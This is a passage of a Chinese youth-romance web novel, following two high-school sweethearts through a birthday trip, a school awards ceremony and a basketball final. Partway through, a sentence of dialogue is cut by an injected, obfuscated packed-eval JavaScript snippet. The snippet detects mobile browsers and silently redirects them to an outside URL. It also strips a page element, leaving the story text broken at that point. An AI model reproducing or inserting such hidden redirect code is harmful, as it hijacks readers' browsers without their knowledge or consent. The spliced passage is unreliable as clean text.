林桑没动,笑着说:“也不是不行。” 下一秒,肩上猛地多了一道力,林桑被他揽在手肘间。 他低声指责道:“小没良心。” 林桑躬着身,愤愤道:“明明是你自己这么说的。” 沈听原:“我只是假设,没让你答应。” 林桑反驳:“那我不是配合你嘛。” 她抬手去拉他的手:“沈听原你快松手,我看不到路了!” 沈听原没松手,反倒紧了几分。 “你的专属导航已上线,跟着我走就行。” “……” 他们身后,柳靳于站在路灯下,看着他们打闹着歪歪扭扭往前走。 良久,他收回眼,眼里带着无尽的落寞,转身离开。 * 隔天一早,林桑在副食店里待了快两个小时,沈听原跨着书包出现在门口。 头上没了帽子,放好奶茶坐下时,他还特意强调一句:“说好了,不准嫌丑。” 林桑转了下笔,撑着下巴说:“放心吧,就算真觉得丑,我也能睁眼说瞎话。” 沈听原轻笑一声:“行啊,逗人功夫有长进。” 总算扳回一城,林桑眼珠转了转,脸上扬着小小的傲娇说:“谁让你以前老逗我。” 沈听原没接话,只是笑。 两人一起计时做卷子,做完后,沈听原放在桌上的手机响了起来。 林桑示意他接电话,她则拿出答案开始核对。 电话很快挂断,沈听原低头看了眼柜台里的烟说:“整条的烟放在哪来着?” 林桑停下笔:“怎么了?” 沈听原:“我爸最近在北城,说是烟没了,没人帮他带,让我给他寄。” 林桑:“外面不是也能买到吗?” 沈听原:“他抽不惯外地的烟,就得抽本地烟才过瘾,尤其是云烟。” “我就纳闷了,这烟烈成那样,他怎么就抽得下去。” 想起初中时的事,林桑说:“你不是还生嚼的吗?” 沈听原顿了一下说:“你就不能记点我光辉的时候,这种糗事怎么还记得。” 林桑笑了一下说:“毕竟你那个时候才转来就出名,想忘也难啊。” “说起来,你过来买过几次烟,但一直没见你抽过。” “帮游书涧买的,我早戒了。”沈听原说,“我现在看见烟就烦。” 林桑有些惊讶,她还以为他只是和林景他们一样,抽烟的时候会避开她。 她点点头,想起正事,拉出柜台下方的纸箱说:“要几条?” 沈听原:“两条就行,一个包裹最多也就只能放两条烟,多了还得多寄,麻烦。” 林桑把烟拿出来放到柜台上,沈听原从包里翻出钱递给她,出门寄烟去了。 回来的时候,沈听原拎了两份炸洋芋。 她的那份多加了折耳根,他的那份则没有。 吃到一半,沈听原看着她纸碗里的折耳根说:“我一直好奇一个事。” 林桑:“什么?” 沈听原:“折耳根在你嘴里,究竟是什么味?” 林桑想了想道:“感觉有点像鸡肉。” 说完,她礼尚往来地问了他一句:“在你嘴里是什么味?” 沈听原没有半分犹豫,脱口而出:“狗骚味。” 林桑:“什么是……狗骚味?” 沈听原:“大概就是好久没洗澡的狗在下雨天淋了个半湿的味道。” 林桑:“……” 巷子里不少人家都养了狗,大部分人养狗都是为了让其看家,自然养得没那么精致,十天半个月都不见得洗次澡,林桑出门经常能碰上一群狗去水潭玩水回来,身上那股味,隔几里地都能闻到,刺鼻又怪异。 她看着碗里密集的折耳根,仿佛看到了那群浑身湿透带着异味的狗,代入感太强烈,她甚至已经闻到了那股味。 见她皱着一张脸盯着碗里的折耳根,沈听原失笑,“你要问的,这可不能怪我啊。” 林桑:“……沈听原,你好烦。” 沈听原凑近盯着她,表情浮夸:“哇,又嫌我烦啦。” 林桑:“你烦死了!” 沈听原脸上笑意不减反增,“对啊,这个叫沈听原的,怎么这么烦呢。” “真烦人,是吧?” 林桑一时没忍住,被他逗得笑出声。 沈听原:“还烦不烦啊?” 林桑拧着眉,故作纠结,默了一会儿才道:“也还行吧,勉强能忍。” “……” * 高二下学期渐渐地过去一半,老师在课上反复强调着要开始有明确的目标,他们现在觉得还在高二什么都来得及,一眨眼可就从高考考场出来后悔莫及了。 这天下午吃过饭后,方倚霏和鲁琳到班上找林桑和适珈蓝。 她们站在栏杆旁,鲁琳说他们班主任已经开始让他们写要冲刺的学校了,但她还有些犹豫,没考虑好。 她说完,又问起她们三个怎么打算的。 林桑:“我一直没变,就北城外国语大学了。” 鲁琳看向适珈蓝:“你呢?” 适珈蓝叹了一声道:“什么211和985的就不想了,能上个好点的二本我就知足了。” “至于学校嘛,等分数出来再看吧,也没什么特别想去的。” 鲁琳点点头:“霏霏呢,还是东城大学吗?” 方倚霏看着远方,面上没什么情绪:“再说吧,东城大学录取分数线挺高的,我过段时间就去集训了,等艺考完再决定也不迟。” “……” 楼顶的广播刺啦响了几声后,一首《剩下的盛夏》缓缓响起,笼罩半边天。 小叶榕随风飘荡,枝头的鸟儿欢闹声正盛。 云彩像一层浅薄的细纱,被山头上的太阳折射出不同的颜色。 晚风轻悄悄地溜过。 现在的她们,对毕业分离还没那么深刻明晰的概念。 总觉得,这样惬意的傍晚。 还会有很多。 20.第 20 章 端午收假这天,林桑和沈听原早早回了学校,沈听原送她到教室后就回了自己班。 林桑在教室里待了一会儿,适珈蓝才和几个女生一起回教室。 见林桑已经在座位上,她快步跑过来坐下,四处看了看,从包里拿出手机解锁。 她神神秘秘的,林桑转头问:“怎么了?” 适珈蓝脸上带着笑,朝她挤眉弄眼道:“我这两天刷到了好多精品,怕你跟沈听原在一块被他发现,愣是没敢分享给你。” 她说着,点开短视频软件,示意林桑挨近一些,而后点开喜欢列表。 满屏的腹肌视频,林桑怔了怔,有些心虚地往教室四周看了看。 适珈蓝已经点开了视频,“哎,怕什么,没人会发现的,放心看。” 两人一起沉浸地看着视频,没注意到有人从前门进来的时候视线就一直落在她们身上。 直到听到有人喊了一声“沈听原”,她们才像是惊弓之鸟一般散开。 适珈蓝反应很快地将手机锁屏,干巴巴地笑了两声。 林桑看着面无表情的沈听原,顿了一会儿才扯出一抹笑。 沈听原反应很淡,像是什么都没看到一般。 他将手里的卷子递给林桑,抬起手,脸上带着笑,轻揉了下她的头就转身离开。 适珈蓝松了一口气:“看来是没看到,吓死我了。” 林桑沉默,事出反常必有妖,她总觉得,他现在这么平静,指定是有什么打算。 …… 周四,这天是六一儿童节。 虽说已经过了过这个节日的年纪,但一群人还是童心未泯,又是买牛奶又是买糖果,互相送来送去,不亦乐乎。 学校现在学生越来越多,食堂还是没修好,出现过几次学生快上小自习都打不到饭的情况后,就实行了分批打饭。 早上高三的优先,下午则高一的优先,他们高二的卡在中间,下课后至少要等个十多分钟才能去打饭。 因此,陈雪就特许他们在下午放学后这个时间段使用电子白板,用来看《新闻周刊》什么的。 每次看的时候,班长都会守在旁边拉着进度条,争取在等待的这段时间里将大致内容过完一遍。 时间久了,她每次都能完美卡点。 还有一个人,也同样能做到完美卡点。 只要是看《新闻周刊》的那天,在那句熟悉的“下周的事咱们下周再聊,新闻周刊祝您周末愉快”结束时,沈听原就会准时出现在教室门口,等她一起去食堂打饭。 今天却早了些,视频才开始放,他就提着一个纸袋从后门晃了进来。 这个点也不是非得待在教室,适珈蓝和旁边的女生上厕所去了,沈听原在她身侧坐下。 林桑:“你今天怎么这么早?” 沈听原把纸袋放到桌上说:“给你送点东西。” 林桑一下就猜到了:“六一礼物?” 沈听原看着白板上的视频,应了一声。 林桑语气懊恼:“怎么办,我都忘了。” 沈听原偏过头看她,平静道:“没事的,林桑是个小朋友,六一得有礼物,沈听原是个成熟的大朋友了,没有礼物也可以的。” 末了,他又道:“他自己蹲路边哭完就好了。” “放心,他会非常懂事地擦干眼泪再来见你的。” “你别问他眼眶为什么会红,问就是太阳太晒,风太大。” 用一本正经的表情说着幼稚的话,林桑差点笑岔气。 她笑着从桌肚里摸出一个纸袋放到他面前。 沈听原原本懒散地靠着,见状立马坐直了,伸手扒开袋子看了眼里面的东西,脸上的笑容再也抑制不住。 林桑笑眼弯弯:“沈听原,你笑的好憨啊,像个憨包一样。” 沈听原往后一靠,手肘搭在身后桌沿上,看着她弯唇:“你说得对,小憨包。” 林桑:“……你才憨包,大憨包。” 沈听原挑挑眉,“我大憨你小憨,多般配啊。” “简直是天造地设的一对。” 旁边还有同学在,他倒是脸不红心不跳的,见他还想继续说点什么,林桑急得捂住他的嘴,小声道:“你怎么没羞没臊的。” 因为她的动作,此刻两人距离很近,而且她的掌心还紧紧贴在他温软的唇上。 沈听原闻言,眸中笑意渐浓,意味深长地看着她的手,那眼神仿佛在说,究竟是谁没羞没臊的。 林桑顺着他的视线往下看,顿了两秒,很快将手撒开。 她一张脸热得像是被烈火烘烤过,偏偏沈听原还要故意在一旁逗她玩。 林桑做不到像他那样没皮没脸,说不过他,索性双手捂住耳朵不理他。 没一会儿,前门传来适珈蓝的声音,沈听原起身说:“好了,不逗你了。” “先走了,里面有糖,还有几盒牛奶,你给你那几个朋友分一分。” 他走后,林桑才打开纸袋看了一眼。 里面放了两大包千纸鹤水果糖和四板AD钙奶,还有一个红色印有小熊图案的盒子。 林桑拿出那个盒子打开一看,里面是个小黄人Bob石膏存钱罐,Bob穿着棕色牛角大衣,手里拿着一束玫瑰花。 难怪她端午假期有天晚上一个人跑去幸福广场买了个杀生丸石膏存钱罐涂色的时候,总觉得在人群里看见一个和他很像的人。 …… 因为高考那两天要放假,高一高二的从周天就开始上课,沈听原的生日也推到放假的时候再过。 林桑周天照例去广播站给他点了歌。 熟悉的音乐响起时,沈听原帮林桑洗好碗,两人一起往教学楼走。 林桑:“沈听原,十八岁生日快乐。” 沈听原扬眉道:“特别快乐。” 说完,他像是想到什么,停住脚步看向林桑。 林桑不明所以,也放慢脚步。 “怎么了?” “我在想,”沈听原说,“初中那会儿我生日那天负责广播的人是你,结尾放的也是这首歌。” “你上台演讲过,我记得你的声音,第一年听到的时候,我就开始期待第二年。” “没想到还真被我等到了,那时我就想,你哪天能站在我面前,当面和我说生日快乐就好了。” 林桑脑海里渐渐地浮现出初中那会儿,她特意在沈听原生日当天和班上的女生换广播的时间。 因为学校有个传统,在广播开始前,播报完日期后祝当天生日的同学生日快乐,那是那时的她唯一能想到的,也是唯一能做到的,和他亲口说出生日快乐的方式。 没想到,他也在期待。 见她愣神,沈听原笑了一下说:“梦想成真的感觉,还挺爽。” “虽然挺矫情的,但我还是想说。” “谢谢你能喜欢我,也谢谢你,每年都给我过生日。” 林桑反应过来了,她下意识看了眼旁边来来往往的同学,低低“嗯”了一声:“以后也会的。” 活脱的气氛变得有些凝重,林桑没再继续往下提,而是转移话题道:“那你想好等放假了要去哪过生日吗?” 沈听原:“没有,感觉能去的地方都去过了。” “山之间山庄有去过吗?”林桑问。 沈听原呢喃着这个名字想了想说:“没去过,那就去这了。” 林桑:“好,我帮你提前打声招呼。” 沈听原:“行。” * 山之间山庄就是刘乔千和朋友聚会时经常去的那个,老板是刘乔千的朋友,把林桑当干女儿。 林桑发消息过去的时候,对方人在外地,让林桑等他回云亭又过来玩,后来一听她是帮朋友问的有没有位置,立马让人给她安排妥当。 等他们一行人到的时候,什么都不用管,玩够了等开饭就行。 山庄占地面积广,背靠高山,中间围了一个巨大的人工湖,能钓鱼划船。 其他人都跑去研究划船和怎么钓鱼了,林桑带着沈听原四处逛了逛。 这个季节,后山的杜鹃花开了,各种颜色,争奇斗艳,爬了满山。 山庄里有个最佳观花点,林桑带着沈听原上楼,在一个天台停下。 这里视野比在下方时开阔,能将美景尽数收入眼中。 沈听原抬头看了一会儿问:“这花叫什么名字来着,一下子想不起来了。” “杜鹃花。”林桑说,“不过,外公说我们彝族人一般管它叫索玛花。” 林桑说着,一步一步往后退,靠在栏杆上,张开手臂。 “沈听原,祝你从十八岁开始,往后的日子都和我身后的这座山一样。” “鲜花满地!” 该如何形容那一刻的心情呢。 少女带着明媚的笑,身后是铺了满山的花海,风轻轻带起她的头发。 那时,杜鹃花的粉与红,远处朋友的嬉闹,被风吹起的衣角,都与他无关。 他空白许久的大脑里,只余一段简短却饱含他满腔期盼的话: ——他想和眼前人,淌过万顷沼泽,走向鲜花满地的未来里。 …… 林桑今年照例给沈听原做了一个蛋糕,不过这次没单独先过生日,蛋糕带到了山庄。 林景看着摆在桌上的蛋糕,阴阳怪气道:“哎呦喂,这有些人啊,有了喜欢的人就忘了哥哥。” “给人准备生日礼物比给我准备还认真,还带纯手工的。” “到我这你就买个东西打发我。” 林桑:“……?” 林桑控诉道:“明明是你自己生日还有一个月就要提前在我耳边唠叨什么要出新品了。” 林景嗤了一声:“我现在越看他越烦,你就应该在路边捡坨臭狗屎送他。” 沈听原靠在椅背上,一直安静听着,听到这,眼皮一掀说:“臭狗屎怎么了,她捡的,我就喜欢。” 林景面露嫌弃:“哥们,属实爱过头了。” “这我妹,她送我臭狗屎我都有点爱不动。” 一群人笑出声,很快插科打诨起来。 吃过饭回去的路上,沈听原头晕得难受,开着窗往后靠着假寐。 坐在一旁的游书涧凑近了小声问林桑:“这货最近是不是受什么刺激了?” 林桑莫名:“怎么了?” 游书涧一言难尽道:“跟疯了一样,每天盯着别人腹肌视频看,看完就开始练。” 他狰狞着脸:“已经到了走火入魔的地步。” 林桑没说话,他又问了一次:“到底受什么刺激了,说出来让我嘲笑嘲笑。” 想起那天,林桑耳根隐隐发烫:“我也不知道。” 游书涧:“稀奇了,他还会有事是你不知道的。” 他说完,再次追问:“你真不知道啊?” 林桑:“……真不知道。” “……” 隔天因为高考有信号屏蔽,副食店离学校很近,网卡到几乎没有,林桑本来想找几个新闻视频看看来着,试了几次都是黑屏上转了个圈,只能作罢。 她翻出耳机,听着歌做题。 沈听原早上说有点事暂时不过来,这会儿也不知道什么时候到的,等她反应过来,他已经在身侧坐下。 “在听听力?” “没有。”林桑说,“听歌。” “分我一只。” 他们平时一起听听力的时候都是外放,林桑早上才发现耳机坏了一只,一直没声。 这会儿只有她用,也就没去买新的,打算改天等另外这只也不能用了再去买。 她顿了顿,摘下能用的那只耳机递给沈听原,又继续做题。 做了一会儿,发现身边人没了动静。 林桑下意识看过去,发现沈听原手撑着脑袋,偏头看着她。 那双清亮的眸子里,蕴含了不明的笑意。 林桑怔松片刻,她歌单里的歌哪一首后面是哪一首她都记得,算了算时间,难道他听到的是那首前奏很好听,但歌词被很多人说稍微有些难以启齿的歌。 这歌是之前适珈蓝带她追的网剧里的主题曲,配上网剧就很合理,沈听原没看过,光这么听歌的话,指不定得多想。 果不其然,下一秒就听他问:“有隔壁老王儿子和你Hello晚安吗?” 林桑:“……没有。” 想到下一句歌词,她立马道:“头发早上才洗过。” 沈听原笑了一下,没再继续问。 林桑忐忑地重新拿起笔做题,在心里算着他大概听到哪首歌了。 没多久,沈听原又用同样的神情看向她。 “这个是我比赛那天唱的那个?” 林桑:“是。” 沈听原:“等有时间给你录个纯享版,有杂音听着不舒服。” 林桑点头:“好。” 之后,终于能安心做题。 两人都做完两套卷子后,林桑活动了下手腕,想到以前做题累了都是沈听原偷偷带她去网吧放松,她想了想,转头道:“累吗?” 沈听原摘下眼镜,捏了捏眉心:“有点。” 林桑:“那我带你去个地方呗。” 沈听原下巴一扬:“走。” 林桑和何爷爷打了声招呼后关上门,带着他去了公交站。 下车后,走了五分钟左右,在一个路口停下。 云亭每个街道旁的绿化树都不一样,林桑带沈听原来的这条路,叫捡雨路,两边种的是凤凰花。 两人沿着街道慢慢走着,走到一棵树前时,林桑停下,“你站好,我给你拍个照。” 沈听原也没问为什么一定要在这棵树前拍,乖乖配合着站好。 林桑拍了几张,指着树干上挂着的蓝色牌子说:“这棵树编号64。” 她很喜欢凤凰花,每年花开的时候都会过来看看,后来知道沈听原生日后,发现了这棵树的编号,她经常出门没遇到他的话,就会来这棵树旁边转一转。 沈听原走过来,转过身抬头看了眼上面的编号说:“破案了。” “什么?” “我以前发现你经常会来这条路,停在这棵树下打转。”沈听原说,“我还特意站在这棵树底下研究了几次,怎么也想不通,这么多一样的树,它究竟哪特别了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784062|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “现在一想,挺傻的,那么明显我都没发现。” 林桑笑了一下:“现在发现也不晚啊。” 她眼珠一转,又继续道:“毕竟喜欢是持之以恒的,跟太阳每天东升西落一样,又不会变。” 沈听原俯下身来,明知故问道:“真的啊?” 林桑粲然一笑,一双亮晶晶的眼睛看向他,眨了眨才道:“骗你的啦。” 沈听原低低笑了一声,抬手盖在她后颈上,“捉到一只爱骗人的小憨猫,你说是带回家还是卖了好?” 顿了两秒,他又道:“憨是憨了点,不过挺可爱的,那我就勉为其难带回家养一辈子算了。” 林桑:“……” 她一个矮身躲开他的桎梏往前跑,“你才憨!” 沈听原三两步追上她,两人一路打闹着往前走。 走着走着,沈听原就会往她这边靠,像个小孩一样一摇一晃,高兴到忍不住翘脚。 “沈听原,你好好走路,别挤我。” “就不。” “……” * 林桑本以为昨天的事过了一晚也就算过去了。 沈听原顶着两大个黑眼圈出现的时候,把她给吓得够呛。 “你怎么了?” 沈听原半阖眼眸,靠在椅背上说:“昨天听完那首歌,回去好奇搜了一下,一晚上把剧给追完了。” 他睁开眼,凑过来:“你喜欢那个类型的啊?” 林桑还没说话,他又自顾自摸着脸说了起来:“那我得去整个容,男主个子也挺高的,比我高了一点,还得往腿上垫截骨头。” 林桑几不可闻地叹了一声:“沈听原,你现在不像熬了一晚上夜,像喝了十斤白酒。” “醉到说胡话了。” 沈听原:“那你究竟喜不喜欢那个类型?” 林桑闷声道:“我喜欢什么类型的,你不是最清楚。” 她话音一落,沈听原脸埋进手肘间,脸和耳朵都红透了。 林桑抬手碰了一下:“沈听原,你脸好红。” 沈听原动了动,抬手挡住,不吭声。 他是真追了一晚上剧,困得不行,没做题就趴在柜台上睡觉。 林桑翻看着新鲜出炉的文科卷,看完了云亭考的那份卷子后,她又翻着其他卷。 过了一会儿,沈听原起身伸了个懒腰,随意瞥了一眼:“绿化带差异原因,这题不会选D吧?” 林桑:“你别说,还真是。” 沈听原手枕在脑后说:“地理题还真是一如既往的会玩弄人,一眼看上去该排除的答案,偏偏是个正确答案。” 他说着,拿起手机解锁:“我看看今年理科卷怎么样,心里好留个底。” …… 回学校后,离高二结束还有一个多月,但学校已经默认他们是高三了。 学校从上一年开始就在教学楼和宿舍楼下分别安装了电子屏,上面显示着日期温度和高考倒计时。 离校前还是距离高考还有1天,现在变成了距离高考还有363天。 时刻提醒着他们,以后的每一天,都格外重要。 学校的领导之前都在为高考奔波着,期中考后的表彰大会愣是拖到了新的一周。 沈听原现在已经能稳定的在年级前三里蹦跶,上次期中考的时候考了年级第二,和李宇栖只差了五分。 上台演讲的环节自然也就轮到了他。 他没写演讲稿,上台鞠完躬后,拿起话筒顿了顿才道:“各位上午好,我是260班沈听原,很荣幸能有机会站在这里。” “说来惭愧啊,都快高三了,今天还是第一次站在这个位置上。” “所以,分享学习经验,我也算是有点小小的发言权,望台下的同学都给个面子,听一听。” 他用幽默风趣的语气简单地对过去的学习情况如何,又是如何提升的成绩做了个讲解,时间把控得也很好,不会让人觉得听着太腻太烦。 临近收尾的时候,沈听原往台下看了一眼,捕捉到林桑的视线,笑了一下说:“我还是比较建议大家都能找到目标,然后朝着这个目标去努力,比如——” “向年级第一看齐。” “以她为榜样,然后成为更好的自己。” 这话放在不知情的人眼里,就是他想考年级第一而已,学生时代,无论是自身,还是家长和老师,最看重的就是成绩,谁不想考年级第一。 可放在那些知情的人眼里,就不太一样了。 台下响起了一阵起哄声,沈听原连“哎”了几声说:“我的意思是,争取考第一嘛,别多想。” “最后,送在场的各位一句话。” “心向春山,路必敞亮!” 有人带头喊了一声,沈听原在热烈的掌声中下了台。 演讲结束后,值周的老师上台对这一周进行了总结,之后便开始了各个领导讲话。 周五的时候,老师就特意通知过,这次大会时间会很长,早上太阳很晒,到时候要拍照,打伞不太美观,让他们自备帽子。 当时班上的同学都开玩笑说买顶干活用的那种大草帽,又能遮阳又能做全场焦点,结果最后一个个都买了好看的渔夫帽。 太阳一点点从远处山头升起,照完东边照西边,防不胜防。 林桑戴的是一顶蓝色的渔夫帽,帽檐不是很大,耳朵和露在外面的脖颈都被晒得通红,她索性把帽子摘下来,太阳从哪个位置来就往哪个位置挡。 不多时,太阳已经完全升起,高悬在天空中,只顾得上挡一面,另一面只能用手挡,林桑手背也被晒得通红。 倏地,坐在身后的同学拍了拍她,递给她一顶帽子。 那个女生小声说:“从后面传来的,说是给你。” 和课间集体背书的时候一样,沈听原他们班在和她一班之隔的地方。 她偏头看了过去,沈听原坐在最后方,戴着一顶鸭舌帽,冲她笑了一下。 怕被老师发现,林桑没再多看,转回身打开帽子。 黑色的渔夫帽,是他们周天一起去买的。 林桑垂眼,轻轻笑了一下。 “……” 台上的领导讲话总算在学生都被晒到烦躁不安时结束。 表彰大会也在这时正式开始,听到校长说这次的一等奖奖金从一千提到了两千的时候,台下沸腾一片。 校长念完一等奖的名字,让人尽快上台领奖。 林桑放下帽子往后走,沈听原就站在后方,见她走出来了,和她隔着一点距离一起上台。 文科和理科没单独分开颁奖,都是前三名是一等奖,上台后老师核对着名字将证书和一个印有“一等奖2000元奖金”的牌子递给他们,让他们领完后站到台前准备合照。 沈听原双手接过道完谢,问了一句:“老师,站的时候文理科要分开吗?” 老师给下一个同学递着证书说:“不用,你们站成一排,在中间给校长留个位就行。” 拍照的时候,沈听原站在林桑身侧,笑得恣意。 没人知道,这一天,他努力了将近三年才到达,也盼了三年。 21.第 21 章 表彰大会过后,学校里的领导又忙碌起来,准备组织会考的同时,还要为了招生带各个学校的初三学生到校参观。 林桑和适珈蓝特意抽空去做了志愿者,为未来的学妹学弟介绍学校。 又一轮短暂的假期结束后,他们正式迎来了忙碌的高三生活。 往年秋季篮球运动会都不让高三参加的,今年也不知道学校怎么想的,竟大发慈悲让他们高三的也参加。 体育委员到办公室抽完签回来,站在讲台上轻咳两声道:“那个啥,高中生涯最后一个篮球赛了,咱们重在参与就行,到时候和气点哈。” 班上统共十个男生,其中四个不打球,上一次的篮球赛上,他们班连决赛的尾巴都碰不到。 班上的同学也都看开了。 “咱们还是有点自知之明的,就当玩了呗。” “对啊,进决赛就不想了,初赛跟其他几个文科班打了玩玩就行。” 这时,有人才想起问:“第一场跟哪个班啊?” 体育委员一言难尽地笑了一声说:“260。” 教室里寂静一瞬,一群人直接气笑了,有人骂了句脏话:“我靠,你这手气牛逼啊。” “先不说他们班有几个打球特别生猛的,光体力就耗不过啊。” “嘿,你这么一说,我就想到他们班去年球赛的时候派了二十多个人,太恐怖了。” “学校就不能限制一下参赛人数。” “……” 体育委员在办公室抽完签打开看到“260”的时候就两眼一黑,他摆摆手说:“所以我才说嘛,重在参与就行。” 到了正式比赛这天,运动员上场的时候,裁判和围观的人都忍不住笑出声。 林桑他们班统共就一个替补,六个男生上场,站定后,260班的男生也陆续上场。 一个接一个,足足有二十二个。 适珈蓝嘴角抽了抽说:“我的妈呀,他们这是恨不能把班上所有男生都派上场了吧。” 虽然上场的时候有二十来号人,比赛正式开始后,许是为了251班着想,260班只派了六个男生出来和他们打,其余人都在一旁观战。 中场休息的时候,体育委员叉腰站在两班休息区中间,朝260班喊道:“既然派了这么多人出来,就全都上一遍呗,别放水。” “我们也就想着打着玩,在一中的最后一场球赛了,总得留点难忘的记忆。” 他话音落下,251班的人都齐声笑着喊:“放马过来吧!” 260班的人也笑:“来就来,输了可别耍赖!” 林桑坐在观赛区,跟着其他同学一起拿着手里的小巴掌玩具晃了晃,视线在球场边梭巡了一圈。 沈听原只在最开始运动员上场的时候出现过,后面一直没上场,这会儿在人群里也不见他的身影。 翻修后的操场很大,篮球场被跑道包围在中间,从以前的两个扩为了四个。 林桑下意识坐直了些,探着头往其他地方寻找他的身影。 几分钟后,终于在操场边单独建的厕所门口看到他出来。 他身上穿了黑白相间的球服,外面套了校服外套。 林桑看着他往比赛场地走来,走到一半时,不知怎么了,他脚步停住,在跑道旁的空地坐下。 距离有点远,林桑只看到他坐下后一直低着头,有女生拿着水在他身侧停留了一会儿,他抬眼不知说了什么,那个女生和朋友一道离开。 林桑心里隐隐有几分不安。 前两天沈听原就说过可能是升了高三调整了作息,比以前晚睡了两个小时,总是会时不时胸闷心慌。 新一轮的比赛已经开始,林桑和适珈蓝说了一声,拿起水猫着腰跑出观赛台。 沈听原还低着头坐在原位,林桑走到他身边,把水递给他。 “不用,谢谢。” 林桑没说话,拧开瓶盖重新递了过去。 沈听原这才缓缓抬起眼,见是她,他伸手将水接过喝了一口。 林桑在他旁边蹲下:“又不舒服了吗?” 沈听原拧上瓶盖,笑了一声:“没事。” 林桑:“要不我去请假,去医院看看吧。” 沈听原抬手在她头上揉了揉说:“真没事。” 看着他脸上和发梢上未干的水渍,林桑眼睫轻颤:“你昨晚又熬夜刷题了?” 她顿了顿,内心有一股愧疚蔓延,握着的手紧了几分:“你现在的成绩考北城外国语肯定没问题,别那么拼。” “我不想你还没上战场就先因为身体倒下。” 沈听原轻声道:“我心里有数,放心吧。” “倒是你,一会儿你们班要是输了,可别哭鼻子。” 林桑抬手将他的手拿开,“又不是小孩子。” “再说了,万一有奇迹呢,你可别得意太早。” 沈听原轻笑一声:“嗯,对,不能高兴太早。” “虽然现在是对家,但想求你给我加个油,行吗?” 林桑扭头看他:“沈听原,一会儿球赛加油。” 沈听原:“不能是在观赛台上我打球的时候吗?” 林桑撇撇嘴:“咱两现在是对家,我待在班上给你加油,那不是胳膊肘往外拐嘛。” 沈听原笑得在心口拍了两下,缓过来后才说:“好好好,不让你当叛军。” “……” 两人在跑道边坐了一会儿,等沈听原完全恢复过来才去了比赛场地。 林桑坐回观赛区,发现比分已经拉得很大,班上的几个男生各个汗水淋漓,而260班的男生都游刃有余地传着球,跟老鹰逗小鸡似的。 还有最后一场,输赢早已经定死了,大家都挺宽心的。 班上一个男生站起来大喊:“都起来加油啊,想喊什么就喊,当发泄了!” 闻言,所有人都拿着鼓掌专用的小巴掌玩具起身。 沈听原前几场没上,这会儿站在球场边脱外套做准备。 他外套一脱,不仅仅是自己班的,连旁边260班的都齐刷刷起着哄看向林桑。 少年一身黑白相间的球服立在球场边,挺阔的背后,衣服上印有白色的字样: ——云亭一中 ——LS ——8 察觉到观赛区的动静,站在球场边的人都有些莫名,全都转过头来,发现他们看着沈听原的方向,又将视线挪向他。 沈听原被几百只眼睛盯着,没半分尴尬和不好意思,笑得坦荡:“就你们想的那样,都别看了,准备比赛。” 他说完,视线越过人群和林桑撞上。 唇角一勾,朝她比了个手势。 哨声吹响,运动员都上场准备开球。 适珈蓝轻轻撞了下林桑的肩膀,八卦道:“他刚刚,什么意思啊?” 林桑抿唇道:“让我给他加油。” 她说完,有些苦恼:“可现在咱们是对家啊,不太合适吧。” 适珈蓝笑了一下说:“确实不太合适,留着呗,以他们班的水平,后期能进决赛的。” “……” 比赛结束,结果毫无悬念。 虽然输了比赛,但立志于要输只能输一个方面,不能方方面面都输,他们班在最后几乎是使出了所有的劲加油,把想喊的都喊了个遍,在气势上压倒了260班加油的。 负责领头的男生甚至跑去借了个大喇叭,看得260班的同学又气又好笑。 他们止步于初赛,260班却一路过关斩将杀进了决赛。 高一高二的只需要上晚自习,其他时候不管自己班有没有比赛都不用上课。 而他们高三的就不一样了,有比赛的班级才可以不上课。 所以后续的几场比赛林桑都没机会去看。 一直到决赛这天,吃晚饭的时候听到有人说正好在进行最后一轮比赛。 林桑吃过饭后和适珈蓝一起拿着书去了球场。 两个班势均力敌,此时比分持平。 260班的人基本都认识林桑,见到她,几个女生小声和她说起了话。 “这都已经是加赛了,另外那个班的打球一点都不讲道德,哪像我们两个班那天那么平和。” “上场前友谊第一,比赛第二。” “上场后一副我打不死你的恶心样。” “看沈听原进球准还故意撞他,害他崴了脚。” “做缺德事也不怕遭报应!” 听到这,林桑眉心动了动,她看向球场,有个身材很魁梧的男生一直防守着沈听原,沈听原脸上有些不耐地活动了下脚腕。 距离比赛结束已经越来越近,260班一进球,还没来得及高兴太久,马上就被追平。 带头喊加油的一共有两个人,算是半个啦啦队队长,一个男生和一个女生,站在观赛区最前方。 那个男生狠狠地在栏杆上拍了一下,话音里带了火气:“他三大爹的,一群畜生!” “进球最准的两个一个被撞到手摔骨折上不了场,一个被撞到脚崴了继续上,结果被两头死猪针对。” “这傻逼裁判眼瞎了是吧!” 后面的人闻言都开始附和他,你一言我一语地说着,一场好好的比赛,越看越觉得烦。 那头,一直被防着的沈听原和队友都渐渐地找到了破绽,打着手势开始互相配合。 台下有人察觉到他们换了策略,希望之火重新被点燃,全都站起身来喊加油。 看着沈听原在球场上跑来跑去,林桑盯着他受伤的那只脚,一颗心像是被什么揪住,紧张到下意识攥紧了衣摆。 在他们的配合下,比分终于成功拉开了两分,哪怕不进球,能将另外那个班防住,他们就能赢。 一群人紧张地盯着时间,还剩下四十秒时,一时失守,让对方进了一球,还是三分。 比分又被拉开一分,旁边已经开始了庆祝。 距离比赛结束只剩下十多秒时,沈听原接过队友传来的球,站在三分线上,比赛进入了白热化的阶段。 啦啦队队长里的那个女生跑过来把大喇叭塞到林桑手里说:“林桑,快喊啊!快!” 时间不等人,林桑拿起喇叭,没有犹豫:“沈听原——” “加油!” 球场上回荡着她的声音,全场陷入寂静,屏息看着那颗从沈听原手中飞出去的球。 “嘭——” 球进了! 哨声响起,比赛结束。 他们赢了! 沈听原在进球的瞬间偏头看向一直针对他的那几个男生,挑着眉摊开手,随意耸了耸肩,仿佛在说: 你们也不过如此。 随后,他轻描淡写地扭身看向观赛区,脸上带着肆意的笑,高抬起右手,众人屏息看着他紧握的拳头。 下一秒,他缓缓竖起食指。 坦荡又嚣张地昭告所有人: 他们是第一。 他们是冠军。 